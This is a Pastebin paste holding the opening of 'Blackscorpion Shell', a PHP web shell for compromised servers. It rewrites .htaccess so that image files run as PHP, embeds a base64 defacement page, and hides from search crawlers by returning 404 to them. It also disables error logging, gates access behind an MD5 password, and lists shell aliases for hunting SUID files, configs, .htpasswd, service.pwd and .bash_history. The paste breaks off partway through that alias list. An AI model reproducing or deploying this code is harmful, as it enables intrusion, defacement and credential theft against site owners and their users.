andrewchris511

^_^

Jun 15th, 2018
86
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 464.54 KB | None | 0 0
  1. <?php
  2.  
  3. /*
  4. ____ _ _ _
  5. | __ )| | __ _ ___| | _____ ___ ___ _ __ _ __ (_) ___ _ __
  6. | _ \| |/ _` |/ __| |/ / __|/ __/ _ \| '__| '_ \| |/ _ \| '_ \
  7. | |_) | | (_| | (__| <\__ \ (_| (_) | | | |_) | | (_) | | | |
  8. |____/|_|\__,_|\___|_|\_\___/\___\___/|_| | .__/|_|\___/|_| |_|
  9. |_|
  10.  
  11. Shell coded by Blackscorpion
  12. Contact:andrewchris1337@gmail.com
  13. */
  14. @mkdir('BlackscorpionShell');
  15. $safe_mode = "QWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLXBocCAuanBnCg==";
  16. $mode = fopen(".htaccess","w+");
  17. $write = fwrite ($mode ,base64_decode($safe_mode));
  18. $auth_pass= "02cce9e28a5e94d01b691b733cd5106c"; //ultran00b
  19. $color = "#7effc5"; // For Changing Font Colors
  20. $default_charset = 'Windows-1251'; // For Changing Character Set Available Are
  21. background_image(); //Used to access Background image pak.jpg
  22. // UTF-8
  23. // Windows-1251
  24. // KOI8-R
  25. // KOI8-U
  26. // cp866
  27. // First Encode Your Deface Page to Base64
  28. $defacepage ='PGh0bWw+PGhlYWQ+PGxpbmsgcmVsPSJTSE9SVENVVCBJQ09OIiBocmVmPSJodHRwOi8vMy5icC5ibG9nc3BvdC5jb20vLTJndnotT2g1Nlk4L1VfSERiU0NLR2VJL0FBQUFBQUFBRTM0L0lWWENwRm1QekxjL3MxNjAwL1Bha2lzdGFuRmxhZ1dhbGxwYXBlci5qcGciPjx0aXRsZT4gSGFja2VkIEJ5IFByb0JybydzICZndDsmZ3Q7ICZsdDsmbHQ7PC90aXRsZT48ZW1iZWQgc3JjPSJodHRwczovL3d3dy55b3V0dWJlLmNvbS92L0VkRlVaZHJEUl84JiZhdXRvcGxheT0xIiB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgd21vZGU9InRyYW5zcGFyZW50IiB3aWR0aD0iMSIgaGVpZ2h0PSIxIj48L2VtYmVkPjxzY3JpcHQ+YWxlcnQoIlByb0JybydzIFdhcyBUaGVyZSAsIFlvdSBBcmUgSGFja2VkIik8L3NjcmlwdD4NCjxtZXRhIG5hbWU9J2Rlc2NyaXB0aW9uJyBjb250ZW50PSdIYWNrZWQgQnkgNG5kcjN3IGFuZCA0MTN4IH4gR3JlZXR6OjogUjRCIU5EUjQgfiA0bmRyM3cgfiA0bmQgfiA0bDN4ICc+DQo8bWV0YSBuYW1lPSdIYWNrZWQgYnkgNG5kcjN3IDRuZCA0MTN4IFByb0JybydzIH4gVGhpbmsgRGFya2VyJz4gDQo8bWV0YSBodHRwLWVxdWl2PSdjb250ZW50LXR5cGUnIGNvbnRlbnQ9J3RleHQvaHRtbDtjaGFyc2V0PVVURi04Jz4NCjxtZXRhIG5hbWU9J2tleXdvcmRzJyBjb250ZW50PSdIYWNrZWQgYnkgNG5kcjN3IDRuZCA0MTN4LCBQcm9Ccm8ncywgU3BlY2lhbCBUaGFua3MgVG8gQUxJIEtIQU4gREVWSUwgS0lMTEVSLEJsYWNraWUgNG5kIDQxM3gsSGFja2VkIGJ5IFByb2JybydzLEhhY2tlZCBCeSA0bmRyM3csLDQxM3gsUHJvQnJvJ3MgV2FzIEhlcmUnPg0KPGxpbmsgcmVsPSdpY29uJyBocmVmPSdodHRwczovL3Njb250ZW50LmZpc2IzLTEuZm5hLmZiY2RuLm5ldC92L3QzMS4wLTgvMjYxMTQzNjRfMjgyOTIyNjI1NTY0NDAxXzU3MjY2MDY5NTE5NTI2ODAxMzhfby5wbmc/X25jX2V1aTI9djElM0FBZUctZWtCaEJSYWcwLXBPeEo1SmNxOVlUckJlV3NMNkpJX1VRWHZGemxDZ0tIbUQyS3d5LVZ4LWZaY1dsbjUyQXB0V3g0VGF6bjR0cXZJcUtzSmhKbENuel8tOGVvdGU3czloV3dySjU3Y1NFb2tXRkRRZXM0NTMxTnUwQU8zWU9rZyZvaD1lZDRlOTk1Mzk5NjM1MzQ0YWJiYTUwNDhiZjZhYzZmNyZvZT01QUM0N0NFQicgc2l6ZXM9JzE2eDE2Jz4gDQo8bWV0YSBjaGFyc2V0PSd1dGYtOCc+DQo8L3N0eWxlPg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iaHR0cDovL2NvZGUuanF1ZXJ5LmNvbS9qcXVlcnktMi4xLjEuanMiPjwvc2NyaXB0Pg0KPGxpbmsgaHJlZj0iaHR0cDovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2Nzcz9mYW1pbHk9SWNlbGFuZCIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyI+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPiANCmJvZHl7DQpiYWNrZ3JvdW5kOiAjRkZGRkZGOw0KZm9udC1mYW1pbHk6IHdpbmRzb25nOw0KZm9udC1zaXplOiAxMnB4Ow0KZm9udC13ZWlnaHQ6IGJvbGQ7DQpmb250LXNpemU6MTJweDsNCmZvbnQtc3R5bGU6IGJvbGQ7DQp9DQo8L3N0eWxlPg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPiANCiANCiAgICAgICAgdmFyIGNoYXJJbmRleCA9IC0xOw0KIA0KICAgICAgICB2YXIgc3RyaW5nTGVuZ3RoID0gMDsNCiANCiAgICAgICAgdmFyIGlucHV0VGV4dDsNCiANCiAgICAgICAgZnVuY3Rpb24gd3JpdGVDb250ZW50KGluaXQpDQogDQogICAgICAgIHsNCiANCiAgICAgICAgICBpZihpbml0KQ0KIA0KICAgICAgICAgIHsNCiANCiAgICAgICAgICAgIGlucHV0VGV4dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjb250ZW50VG9Xcml0ZScpLmlubmVySFRNTDsNCiANCiAgICAgICAgICB9DQogDQogICAgICAgICAgaWYoY2hhckluZGV4PT0tMSkNCiANCiAgICAgICAgICB7DQogDQogICAgICAgICAgICBjaGFySW5kZXggPSAwOw0KIA0KICAgICAgICAgICAgc3RyaW5nTGVuZ3RoID0gaW5wdXRUZXh0Lmxlbmd0aDsNCiANCiAgICAgICAgICB9DQogDQogICAgICAgICAgdmFyIGluaXRTdHJpbmcgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbXlDb250ZW50JykuaW5uZXJIVE1MOw0KIA0KICAgICAgICAgIGluaXRTdHJpbmcgPSBpbml0U3RyaW5nLnJlcGxhY2UoLzxTUEFOLiokL2dpLCIiKTsNCiANCiANCiANCiAgICAgICAgICB2YXIgdGhlQ2hhciA9IGlucHV0VGV4dC5jaGFyQXQoY2hhckluZGV4KTsNCiANCiAgICAgICAgICB2YXIgbmV4dEZvdXJDaGFycyA9IGlucHV0VGV4dC5zdWJzdHIoY2hhckluZGV4LDQpOw0KIA0KICAgICAgICAgIGlmKG5leHRGb3VyQ2hhcnM9PSc8QlI+JyB8fCBuZXh0Rm91ckNoYXJzPT0nPGJyPicpDQogDQogICAgICAgICAgew0KIA0KICAgICAgICAgICAgdGhlQ2hhciAgPSAnPEJSPic7DQogDQogICAgICAgICAgICBjaGFySW5kZXgrPTM7DQogDQogICAgICAgICAgfQ0KIA0KICAgICAgICAgIGluaXRTdHJpbmcgPSBpbml0U3RyaW5nICsgdGhlQ2hhciArICI8U1BBTiBpZD0nYmxpbmsnPj48L1NQQU4+IjsNCiANCiAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbXlDb250ZW50JykuaW5uZXJIVE1MID0gaW5pdFN0cmluZzsNCiANCiANCiANCiAgICAgICAgICBjaGFySW5kZXggPSBjaGFySW5kZXgvMSArMTsNCiANCiAgICAgICAgICBpZihjaGFySW5kZXglMj09MSkNCiANCiAgICAgICAgICB7DQogDQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmxpbmsnKS5zdHlsZS5kaXNwbGF5PSdub25lJzsNCiANCiAgICAgICAgICB9DQogDQogICAgICAgICAgZWxzZQ0KIA0KICAgICAgICAgIHsNCiANCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdibGluaycpLnN0eWxlLmRpc3BsYXk9J2lubGluZSc7DQogDQogICAgICAgICAgfQ0KIA0KICAgICAgICAgIGlmKGNoYXJJbmRleDw9c3RyaW5nTGVuZ3RoKQ0KIA0KICAgICAgICAgIHsNCiANCiAgICAgICAgICAgIHNldFRpbWVvdXQoJ3dyaXRlQ29udGVudChmYWxzZSknLDEwMCk7DQogDQogICAgICAgICAgfQ0KIA0KICAgICAgICAgIGVsc2UNCiANCiAgICAgICAgICB7DQogDQogICAgICAgICAgICBibGlua1NwYW4oKTsNCiANCiAgICAgICAgICB9DQogDQogICAgICAgIH0NCiANCiAgICAgICAgdmFyIGN1cnJlbnRTdHlsZSA9ICdpbmxpbmUnOw0KIA0KICAgICAgICBmdW5jdGlvbiBibGlua1NwYW4oKQ0KIA0KICAgICAgICB7DQogDQogICAgICAgICAgaWYoY3VycmVudFN0eWxlPT0naW5saW5lJykNCiANCiAgICAgICAgICB7DQogDQogICAgICAgICAgICBjdXJyZW50U3R5bGU9J25vbmUnOw0KIA0KICAgICAgICAgIH0NCiANCiAgICAgICAgICBlbHNlDQogDQogICAgICAgICAgew0KIA0KICAgICAgICAgICAgY3VycmVudFN0eWxlPSdpbmxpbmUnOw0KIA0KICAgICAgICAgIH0NCiANCiAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmxpbmsnKS5zdHlsZS5kaXNwbGF5ID0gY3VycmVudFN0eWxlOw0KIA0KICAgICAgICAgIHNldFRpbWVvdXQoJ2JsaW5rU3BhbigpJyw0MDApOw0KIA0KICAgICAgICB9DQoNCiAgICAgICAgbXNnID0gIjw8IEhhY2tlZCBieSA0bmRyM3cgNG5kIDQxM3ggPj4iOw0KIA0KIA0KIA0KICAgICAgICBtc2cgPSAiICIgKyBtc2c7cG9zID0gMDsNCiANCiAgICAgICAgZnVuY3Rpb24gc2Nyb2xsTVNHKCkNCiANCiAgICAgICAgew0KIA0KICAgICAgICAgIGRvY3VtZW50LnRpdGxlID0gbXNnLnN1YnN0cmluZyhwb3MsIG1zZy5sZW5ndGgpICsgbXNnLnN1YnN0cmluZygwLCBwb3MpOw0KIA0KICAgICAgICAgIHBvcysrOw0KIA0KICAgICAgICAgIGlmIChwb3MgPiAgbXNnLmxlbmd0aCkgcG9zID0gMA0KIA0KICAgICAgICAgIHdpbmRvdy5zZXRUaW1lb3V0KCJzY3JvbGxNU0coKSIsMTAwKTsNCiANCiAgICAgICAgfQ0KIA0KICAgICAgICBzY3JvbGxNU0coKTsNCiANCiAgICAgIDwvc2NyaXB0Pg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KDQpmdW5jdGlvbiBtaXNjaGFuZGxlcigpew0KcmV0dXJuIGZhbHNlOw0KfQ0KDQpmdW5jdGlvbiBtb3VzZWhhbmRsZXIoZSl7DQp2YXIgbXlldmVudCA9IChpc05TKSA/IGUgOiBldmVudDsNCnZhciBldmVudGJ1dHRvbiA9IChpc05TKSA/IG15ZXZlbnQud2hpY2ggOiBteWV2ZW50LmJ1dHRvbjsNCmlmKChldmVudGJ1dHRvbj09Mil8fChldmVudGJ1dHRvbj09MykpIHJldHVybiBmYWxzZTsNCn0NCmRvY3VtZW50Lm9uY29udGV4dG1lbnUgPSBtaXNjaGFuZGxlcjsNCmRvY3VtZW50Lm9ubW91c2Vkb3duID0gbW91c2VoYW5kbGVyOw0KZG9jdW1lbnQub25tb3VzZXVwID0gbW91c2VoYW5kbGVyOw0KdmFyIGlzQ3RybCA9IGZhbHNlOw0KICAgIGRvY3VtZW50Lm9ua2V5dXA9ZnVuY3Rpb24oZSkNCiAgICB7DQogICAgaWYoZS53aGljaCA9PSAxNykNCiAgICBpc0N0cmw9ZmFsc2U7DQogICAgfQ0KDQogICAgZG9jdW1lbnQub25rZXlkb3duPWZ1bmN0aW9uKGUpDQogICAgew0KICAgIGlmKGUud2hpY2ggPT0gMTcpDQogICAgaXNDdHJsPXRydWU7DQogICAgaWYoKGUud2hpY2ggPT0gODUpIHx8IChlLndoaWNoID09IDY3KSAmJiBpc0N0cmwgPT0gdHJ1ZSkNCiAgICB7DQogICAgLy8gYWxlcnQoJiM4MjE2O0tleWJvYXJkIHNob3J0Y3V0cyBhcmUgY29vbCEmIzgyMTc7KTsNCiAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KICAgIH0NCg0KDQo8L3NjcmlwdD4NCjxzdHlsZT4NCip7bWFyZ2luOiAwOyBwYWRkaW5nOiAwO30NCmJvZHkge2JhY2tncm91bmQ6ICMwMDAwMDA7IHNjcm9sbGJhci10cmFjay1jb2xvcjogIzAwMDAwMDtzY3JvbGxiYXItZGFya3NoYWRvdy1jb2xvcjogIzAwMDAwMDsgc2Nyb2xsYmFyLWZhY2UtY29sb3I6ICMwMDAwMDA7IHNjcm9sbGJhci1zaGFkb3ctY29sb3I6ICNGRkZGRkY7IHNjcm9sbGJhci1oaWdobGlnaHQtY29sb3I6ICNGRkZGRkY7IHNjcm9sbGJhci0zZGxpZ2h0LWNvbG9yOiAjMDAwMDAwOyAgc2Nyb2xsYmFyLWFycm93LWNvbG9yOiAjRkZGRkZGOyBjb2xvcjojOEU5NTlFIH0NCi5uYW1lIHsgdGV4dC1kZWNvcmF0aW9uOiBub25lO30NCkAtbW96LWtleWZyYW1lcyByb2xsIHsgMTAwJSB7IC1tb3otdHJhbnNmb3JtOiByb3RhdGUoMTQ0MGRlZyk7IH0gfQ0KQC1vLWtleWZyYW1lcyByb2xsIHsgMTAwJSB7IC1vLXRyYW5zZm9ybTogcm90YXRlKDE0NDBkZWcpOyB9IH0NCkAtd2Via2l0LWtleWZyYW1lcyByb2xsIHsgMTAwJSB7IC13ZWJraXQtdHJhbnNmb3JtOiByb3RhdGUoMTQ0MGRlZyk7IH0gfQ0KYm9keXstbW96LWFuaW1hdGlvbi1uYW1lOiByb2xsOw0KLW1vei1hbmltYXRpb24tZHVyYXRpb246IDZzOw0KLW1vei1hbmltYXRpb24taXRlcmF0aW9uLWNvdW50OiAxOw0KLW8tYW5pbWF0aW9uLW5hbWU6IHJvbGw7DQotby1hbmltYXRpb24tZHVyYXRpb246IDZzOw0KLW8tYW5pbWF0aW9uLWl0ZXJhdGlvbi1jb3VudDogMTsNCi13ZWJraXQtYW5pbWF0aW9uLW5hbWU6IHJvbGw7DQotd2Via2l0LWFuaW1hdGlvbi1kdXJhdGlvbjogNXM7DQotd2Via2l0LWFuaW1hdGlvbi1pdGVyYXRpb24tY291bnQ6IDE7fQ0KPC9zdHlsZT4NCjxzY3JpcHQ+DQpmdW5jdGlvbiBkZXRhaWxzKCkge3dpbmRvdy5vcGVuKCIiKTt3aW5kb3cub3BlbigiIik7fTwvc2NyaXB0Pg0KDQo8YnI+PGJyPjxicj4NCg0KPHAgYWxpZ249ImNlbnRlciI+PGltZyBzcmM9Imh0dHBzOi8vc2NvbnRlbnQuZmlzYjMtMS5mbmEuZmJjZG4ubmV0L3YvdDEuMC05LzI0OTA5ODk2XzE4OTY3MDIzMTU4MjgyMl81NjU1MDQzNjYwNDQ3NjExOTQwX24uanBnP19uY19ldWkyPXYxJTNBQWVIMmFhTkhxVVRXcEZ3S0N1QzNPTU13dW1yVXhDY1BmeHBUdkQwSlB3Z3d1Q1VZTjVwX20tWEYzdHFiNEJzYmM0VUREdF9VOWg3U3NyZ2ZGSGFRd2owdkwxMDR0TEFMcEpvMTdyM0N2YUlQZ2RhcHF4bUx6Wl9pNVBJd2hOOWNhR2cmb2g9ZTY1NmUwOGY1MmMwYTE1NmVhNjljOWEyODk5N2I0MWImb2U9NUFGNUUwOEIiIHdpZHRoPSJhdXRvIiBoZWlnaHQ9IjMwMHB4Ij48L3A+DQo8YnI+PGJyPjxicj48YnI+PGJyPg0KPGNlbnRlcj4NCgkJCSA8Zm9udCBmYWNlPSJJY2VsYW5kIiBzaXplPSIxMDAiIGNvbG9yPSJncmVlbiI+DQoJCQkgPG1hcnF1ZWUgZGlyZWN0aW9uPSJsZWZ0IiBzY3JvbGxhbW91bnQ9IjE1IiBzY3JvbGxkZWxheT0iMTAwIiB3aWR0aD0iOTglIiBzdHlsZT0id2lkdGg6IDk4JTsiPg0KCQkJIDxoMT4gSGFja2VkIGJ5IDxzdHJvbmc+IFByPGZvbnQgY29sb3I9InJlZCI+bzwvZm9udD5Ccm8nczwvc3Ryb25nPjwvaDE+DQoJCQkgPC9tYXJxdWVlPg0KCQkJIDwvZm9udD4NCjwvY2VudGVyPg0KPGJyPjxicj48YnI+DQo8Y2VudGVyPjxmb250IGZhY2U9IkljZWxhbmQiIGNvbG9yPSJncmVlbiIgc2l6ZT0iMTIiPlByb0JybydzDQo8YnI+VGhpbmsgRGVlcGVyIDxmb250IGNvbG9yPSJyZWQiPlRoaW5rIERhcmtlcjwvZm9udD4gSGFja2VkIGJ5IEJsYWNrU2NvcnAgKDRuZHIzdykNCg0KPGJyPjxicj48YnI+PGJyPldlIERlZmVuZCAsIDxmb250IGNvbG9yPSJyZWQiPnx8PC9mb250PiBXZSBSZXZlbmdlLA0KPGJyPjxmb250IGNvbG9yPSJyZWQiIHNpemU9IjYiPsKpPC9mb250PiA8Zm9udCBjb2xvcj0iZ3JlZW4iIHNpemU9IjEyIj4gUHJvQnJvJ3M8Zm9udCBjb2xvcj0icmVkIj5IYWNrZXJzIDwvZm9udD4gQXJlIE5vdyBJbiBBY3Rpb248Zm9udCBjb2xvcj0iZ3JlZW4iPjwvZm9udD48YnI+PGJyPg0KDQo8Zm9udCBjb2xvcj0iZ3JlZW4iIHNpemU9IjYiPjxmb250IGNvbG9yPSJyZWQiPiM8L2ZvbnQ+VGVhbSA6DQo8YnI+PC9mb250PiBCbGFjayBTY29ycCA8Zm9udCBjb2xvcj0icmVkIj48L2ZvbnQ+ICA8Zm9udCBjb2xvcj0icmVkIj58fDwvZm9udD5TMDcwX0g0WDBSIHx8PGZvbnQgY29sb3I9InJlZCI+PC9mb250PiA0bDN4ICB8fDxmb250IGNvbG9yPSJyZWQiPjwvZm9udD4NCjxicj48Zm9udCBjb2xvcj0icmVkIj58fDwvZm9udD5TdWRpIHx8PGZvbnQgY29sb3I9InJlZCI+fHw8L2ZvbnQ+IEZyb3N0Qnl0ZSA8Zm9udCBjb2xvcj0icmVkIj58fDwvZm9udD5TaGsgVjNuMG08Zm9udCBjb2xvcj0icmVkIj58fDwvZm9udD4gU3BlY2lhbCBUaGFua3MgdG8gRGV2aWwgS2lsbGVyIDxmb250IGNvbG9yPSJyZWQiPnx8PC9mb250PiBBbGwgUHJvQnJvJ3MgVGVhbQ0KPGJyPiA8Zm9udCBjb2xvcj0icmVkIj48L2ZvbnQ+IA0KPGJyPjxmb250IGNvbG9yPSJyZWQiPiM8L2ZvbnQ+UHJvQnJvJ3MgSW4gQ29vbCBBY3Rpb24NCjxicj48Zm9udCBjb2xvcj0icmVkIj4jPC9mb250PkNvbnRhY3QgOiBodHRwczovL2ZhY2Vib29rLmNvbS88Zm9udCBjb2xvcj0icmVkIj5wcm88L2ZvbnQ+YnJvc3g8L2ZvbnQ+DQo8YnI+PGJyPjxicj4NCg0KDQo8cCBhbGlnbj0iY2VudGVyIj48Zm9udCBzaXplPSI2IiBmYWNlPSJJY2VsYW5kIiBjb2xvcj0iY2MwMDAwIj48Zm9udCBjb2xvcj0id2hpdGUiPiAgICA8aW1nIHdpZHRoPSI3MDAiIGhlaWdodD0iOCIgYm9yZGVyPSIwIiBhbHQ9IiIgc3JjPSJodHRwOi8vd3d3Ni4wenowLmNvbS8yMDExLzAzLzE0LzA2LzI2OTIwNTk1Ny5naWYiPjxicj4NCjwvZm9udD48Zm9udCBzdHlsZT0iZm9udC1zaXplOiAxMXB0Ij48Zm9udCBmYWNlPSJJY2VsYW5kIiBjb2xvcj0iRjBGOEZGICI+ICAgPC9mb250Pjxmb250IGZhY2U9IkljZWxhbmQiIGNvbG9yPSJ3aGl0ZSI+IDwvZm9udD4gICA8bWFycXVlZSB3aWR0aD0iNTAlIiBiZWhhdmlvcj0ic2Nyb2xsIiBkaXJlY3Rpb249ImxlZnQiIHNjcm9sbGFtb3VudD0iMiIgc2Nyb2xsZGVsYXk9IjIwIiBzdHlsZT0id2lkdGg6IDUwJTsiPg0KPGZvbnQgY29sb3I9ImdyZWVuIj48L2ZvbnQ+PGgxPjxmb250IGNvbG9yPSJncmVlbiI+fHw8L2ZvbnQ+IFByb0JybydzIC0gPGZvbnQgY29sb3I9ImdyZWVuIj53YXMgPC9mb250PlRoPGZvbnQgY29sb3I9ImdyZWVuIj5lcmU8L2ZvbnQ+IC4gWW91IEFyZSBTdGFtcGVkPGZvbnQgY29sb3I9ImdyZWVuIj58fDwvZm9udD48L2gxPjwvbWFycXVlZT4NCjxpbWcgd2lkdGg9IjcwMCIgaGVpZ2h0PSI4IiBib3JkZXI9IjAiIGFsdD0iIiBzcmM9Imh0dHA6Ly93d3c2LjB6ejAuY29tLzIwMTEvMDMvMTQvMDYvMjY5MjA1OTU3LmdpZiI+PGJyPg0KPC9mb250PjwvZm9udD48L3A+DQo8YnI+DQoNCg0KDQo8L2ZvbnQ+PC9jZW50ZXI+PC9mb250PjwvYm9keT48L2h0bWw+';
  29.  
  30. $default_action = 'FilesMan';
  31. $default_use_ajax = true;
  32. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  33. $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
  34. if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  35. header('HTTP/1.0 404 Not Found');
  36. exit;
  37. }
  38. }
  39. @ini_set('error_log',NULL);
  40. @ini_set('log_errors',0);
  41. @ini_set('max_execution_time',0);
  42. @set_time_limit(0);
  43. @define('Blackscorpion Shell');
  44. if(get_magic_quotes_gpc()) {
  45. function Blackscorpionstripslashes($array) {
  46. return is_array($array) ? array_map('Blackscorpionstripslashes', $array) : stripslashes($array);
  47. }
  48. $_POST = Blackscorpionstripslashes($_POST);
  49. $_COOKIE = Blackscorpionstripslashes($_COOKIE);
  50. }
  51.  
  52. function Blackscorpion() {
  53. die ('<!DOCTYPE html>
  54. <html>
  55. <head>
  56. <title>BlackScorpion Shell</title>
  57. <meta charset="UTF-8">
  58. <meta http-equiv="refresh" content="">
  59. <meta name="description" content="Sites description">
  60. <meta name="about" content="Made By BlackScorpion">
  61. <meta charset=\"UTF-8\" />
  62. <meta name="description" content="Blackscorpion Shell" />
  63. <meta name=\"location\" content=\"Hacked By Black Scorpion\" />
  64. <meta http-equiv=\"refres\" content=\"1800\">
  65. <meta name=\"working\" content=\"Hacked By Black Scorpion\" />
  66. <meta name=\"about\" content=\"Hacked By Black Scorpion\" />
  67. <meta name=\"author\" content=\"Black Scorpion\" />
  68. <meta name=\"keywords\" content=\"Hacked,Hacked By Black Scorpion,4ndr3w,Hacked By Black Scorpion,Hacked By Black Scorpion\" />
  69. <meta name=\"revisit-after\" content=\1800\" />
  70. <meta name=\"languag\" content=\"en\" />
  71. <meta content=\'general\' name=\'rating\' />
  72. <meta content=\'google\' name=\'generator\' />
  73. <meta content=\'follow,all\' name=\'msnbot\' />
  74. <meta content=\'follow,all\' name=\'alexabot\' />
  75. <meta content=\'pakistan\' name=\'geo.placename\' />
  76. <meta content=\"index,follow,all\" name=\"googlebot\" />
  77. <meta http-equiv=\"X-UA-Compatible\" content=\"IE-edge\" />
  78. <link rel=\"SHORTCUT ICON\" href=\"https://scontent.fisb3-1.fna.fbcdn.net/v/t31.0-8/26114364_282922625564401_5726606951952680138_o.png?_nc_cat=0&_nc_eui2=AeGexq8pdb-rOQQnrfw8JqATyRVcjYSc8O6NOPMv3P27boKX9PPKyDG7eCXEBDEugMVoYfsZ0djtBVwoFMA7WTUK6OgIfsSlV4U3MDEtWzPgUUyqYQrZ7gqtDn_EfKy6nV0&oh=45d478e8fd979afdd0df196e924c48c4&oe=5B8A3DEB\" />
  79. <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\" />
  80. <meta name=\'search engines\' content=\'Aeiwi,Alexa,AllTheWeb,AltaVista,AOLNetfind,Anzwers,Canada,DirectHit,EuroSeek,Excite,Overture,Go,Google,HotBot InfoMak,Kanoodle,Lycos,MachineSite,National Directory,Northern Light,SearchIt,SimpleSearch,WebsMostLinked,WebTop,What-U-Seek,AOL,Yahoo,WebCrawler,Infoseek,Excite,Magellan,LookSmart,bing,CNET,Googlebot\' />
  81.  
  82. <meta name=\"description\" content=\"Blackscorpion Shell\">
  83. <style>
  84. body{
  85.  
  86. background-image: url(https://images.sftcdn.net/images/t_optimized,f_auto/p/f7751068-96d2-11e6-9f6b-00163ec9f5fa/1554209287/hacker-simulator-screenshot.jpg);
  87. background-color: #080510;
  88. background-size:cover;
  89. }
  90. body{cursor: url(""), auto;}
  91. input{
  92. text-shadow: #777777 0px 0px 3px;
  93. border: 1px solid #007700;
  94. box-shadow: 0px 0px 4px #007700;
  95. color: #009900;
  96. text-align:center;
  97. border-top:1px solid #007700;
  98. border-left:1px solid #007700;
  99. border-bottom:1px solid #007700;
  100. border-right:1px solid #007700;
  101. background:transparent;
  102.  
  103. }
  104. input:hover{
  105. transition-duration:0.5s;
  106. -o-transition-duration:0.5s;
  107. -moz-transition-duration:0.5s;
  108. -webkit-transition-duration:0.5s;
  109. border-style:dashed;
  110.  
  111. }
  112. #forbid{
  113. display:none;
  114. }
  115. table{
  116. margin-top:25px;
  117. }
  118. </style>
  119. <script language="JavaScript1.2">
  120. function ejs_nodroit(){
  121. alert("Login Please!");
  122. return(false);
  123. }
  124. document.oncontextmenu = ejs_nodroit;
  125. </script>
  126. </head>
  127.  
  128. <body class="body">
  129.  
  130. <center>
  131. <form method="post">
  132. <br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
  133. <table title="BlackScorpion Shell">
  134. <tr><td colspan=2><h1 style="color:red;text-shadow:2px 3px 5px #fff;"><center><font color="green" />[=> Blacksco</font><font color="white" />rpion Shell <=]</font></h1><br><font color=white> <center><font color="red" /></font></font></td></tr>
  135. <tr><td><font color=#007700 size=5 face=courier new> Username :</font></td><td>
  136. <input type="text" value="blackscorpion" disabled></td></tr>
  137. <tr><td><font color=#007700 size=5 face=courier new>Password :</font></td><td>
  138. <input type="password" name="pass" ></td></tr>
  139. <tr><td colspan=2><input type="submit" value="login!" style="width:100%;color:white;"></td></tr>
  140. </table>
  141.  
  142. </div>
  143. </body>
  144. </html>');
  145. }
  146. function BlackscorpionsetCoockie($k, $v) {
  147. $_COOKIE[$k] = $v;
  148. setcookie($k, $v);
  149. }
  150. if(!empty($auth_pass)) {
  151. if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
  152. BlackscorpionsetCoockie(md5($_SERVER['HTTP_HOST']), $auth_pass);
  153. if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
  154. Blackscorpion();
  155. }
  156. if(strtolower(substr(PHP_OS,0,3)) == "win")
  157. $os = 'win';
  158. else
  159. $os = 'nix';
  160. $safe_mode = @ini_get('safe_mode');
  161. if(!$safe_mode)
  162. error_reporting(0);
  163. $disable_functions = @ini_get('disable_functions');
  164.  
  165. $home_cwd = @getcwd();
  166. if(isset($_POST['c']))
  167. @chdir($_POST['c']);
  168. $cwd = @getcwd();
  169. if($os == 'win') {
  170. $home_cwd = str_replace("\\", "/", $home_cwd);
  171. $cwd = str_replace("\\", "/", $cwd);
  172. }
  173. if($cwd[strlen($cwd)-1] != '/')
  174. $cwd .= '/';
  175. if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
  176. $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
  177. if($os == 'win')
  178. $aliases = array(
  179. "List Directory" => "dir",
  180. "Find index.php in current dir" => "dir /s /w /b index.php",
  181. "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
  182. "Show active connections" => "netstat -an",
  183. "Show running services" => "net start",
  184. "User accounts" => "net user",
  185. "Show computers" => "net view",
  186. "ARP Table" => "arp -a",
  187. "IP Configuration" => "ipconfig /all"
  188. );
  189. else
  190. $aliases = array(
  191. "List dir" => "ls -lha",
  192. "list file attributes on a Linux second extended file system" => "lsattr -va",
  193. "show opened ports" => "netstat -an | grep -i listen",
  194. "process status" => "ps aux",
  195. "Find" => "",
  196. "find suid" => "find / -type f -perm -04000 -ls",
  197. "find suid in current dir" => "find . -type f -perm -04000 -ls",
  198. "find sgid" => "find / -type f -perm -02000 -ls",
  199. "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  200. "find config.inc.php" => "find / -type f -name config.inc.php",
  201. "find config*" => "find / -type f -name \"config*\"",
  202. "find config* in current dir" => "find . -type f -name \"config*\"",
  203. "find writable folders and files" => "find / -perm -2 -ls",
  204. "find writable folders and files in current dir" => "find . -perm -2 -ls",
  205. "find service.pwd" => "find / -type f -name service.pwd",
  206. "find service.pwd files in current dir" => "find . -type f -name service.pwd",
  207. "find .htpasswd" => "find / -type f -name .htpasswd",
  208. "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  209. "find .bash_history" => "find / -type f -name .bash_history",
  210. "find .bash_history files in current dir" => "find . -type f -name .bash_history",
